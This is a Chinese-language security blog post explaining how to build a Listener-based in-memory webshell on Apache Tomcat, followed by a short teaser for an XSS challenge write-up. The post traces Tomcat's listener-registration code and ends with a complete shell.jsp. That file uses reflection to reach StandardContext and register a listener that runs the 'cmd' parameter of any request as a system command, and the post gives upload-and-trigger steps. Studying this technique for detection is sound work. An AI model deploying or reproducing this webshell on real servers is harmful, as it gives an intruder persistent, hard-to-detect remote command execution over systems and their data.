前言
在浏览《JSP Webshell那些事 — 攻击篇(下)》时里面提到了一种不常见的内存马构造方式,一般来说Tomcat下的内存马都是基于StandardContext来构建的,并且文中提到了web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,也就是说listener的优先级为三者中最高的。笔者也是第一次见到这种内存马,并且作者提到了该内存马的构造方式更为简单,因此本着研究的态度来分析下该内存马的构造流程。
Listener监听器介绍
监听器Listener就是在application,session,request三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。
Listener是Servlet的监听器,可以监听客户端的请求,服务端的操作等。
其中Listener的监听主要分为三类
1.ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)
2.Session监听:对Session的整体状态的监听
3.Request监听:用于对Request请求进行监听(创建、销毁)
对于这三类,熟悉java和Tomcat的同学应该也知道,对于request的请求和篡改是常见的利用方式,这里选取ServletRequestListener作为研究重点,重点看看其中是否存在可以添加Listener的构造函数,将我们的webshell功能写进Listener里去。
Listener型内存马分析
1
2
3
4
5
6
7
8
9
|
package javax.servlet;
import java.util.EventListener;
public interface ServletRequestListener extends EventListener {
void requestDestroyed(ServletRequestEvent var1);
void requestInitialized(ServletRequestEvent var1);
}
|
首先ServletRequestListener作为接口,我们可以重定义里面的逻辑,写进我们执行命令的语句,接着我们开始寻找Tomcat环境中能够加入Listener的构造方法。
在ApplicationContext类中存在addListener构造方法,那么到这里思路就已经很清晰了,通过获取当前Context对象,进而反射获取ApplicationContext对象,然后通过addListener函数调用我们构造的恶意Listener,实现内存Webshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public <T extends EventListener> void addListener(T t) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString(“applicationContext.addListener.ise”, new Object[]{this.getContextPath()}));
} else {
boolean match = false;
if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) {
this.context.addApplicationEventListener(t);
match = true;
}
if (t instanceof HttpSessionListener || t instanceof ServletContextListener && this.newServletContextListenerAllowed) {
this.context.addApplicationLifecycleListener(t);
match = true;
}
if (!match) {
if (t instanceof ServletContextListener) {
throw new IllegalArgumentException(sm.getString(“applicationContext.addListener.iae.sclNotAllowed”, new Object[]{t.getClass().getName()}));
} else {
throw new IllegalArgumentException(sm.getString(“applicationContext.addListener.iae.wrongType”, new Object[]{t.getClass().getName()}));
}
}
}
}
|
但是在这里如果想到通过ApplicationContext类来加入我们Listener会进入到上述代码,其中if语句会判断context当前所属的Tomcat生命周期是否正确,否则抛出异常,也就是说通过这里的addListener其实并不会添加成功,仔细查看代码,最终添加Listener的代码是这行
1
|
this.context.addApplicationEventListener(t);
|
通过debug会发现这里ApplicationContext的context对象为StandardContext,进而调用StandardContext的addApplicationEventListener函数
这里并没有任何context的判断,可以直接添加listener,因此在获取到ApplicationContext对象后,继续通过反射获取StandardContext对象,最终调用addApplicationEventListener函数。
Listener型内存马构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<%@ page import=“org.apache.catalina.core.ApplicationContext” %>
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField(“context”);
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
//获取ApplicationContext
field = applicationContext.getClass().getDeclaredField(“context”);
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
//创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println(“requestDestroyed”);
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println(“requestInitialized”);
try{
String cmd = sre.getServletRequest().getParameter(“cmd”);
Runtime.getRuntime().exec(cmd);
}catch (Exception e ){
//e.printStackTrace();
}
}
}
%>
|
在实际场景中将该文件作为shell.jsp上传至服务器,然后进行访问,因为没有out输出,因此页面会显示空白,正常情况下此时内存马已经生成了
接下来访问任意路径,并传入cmd参数,可以看到此时基于Listener的内存马已经生效了。
偶然在看知道创宇黑客技能表,里面的知识很全,于是发现了这个xss平台,类似于ctf,不过只针对xss这个类别,下面将详细的解题方法写出来,比较适合刚学xss的小白,大牛绕过~(文末有彩蛋) 题目地址:传送门 第一关: 直接输入<script>ale…
请登录后发表评论
注册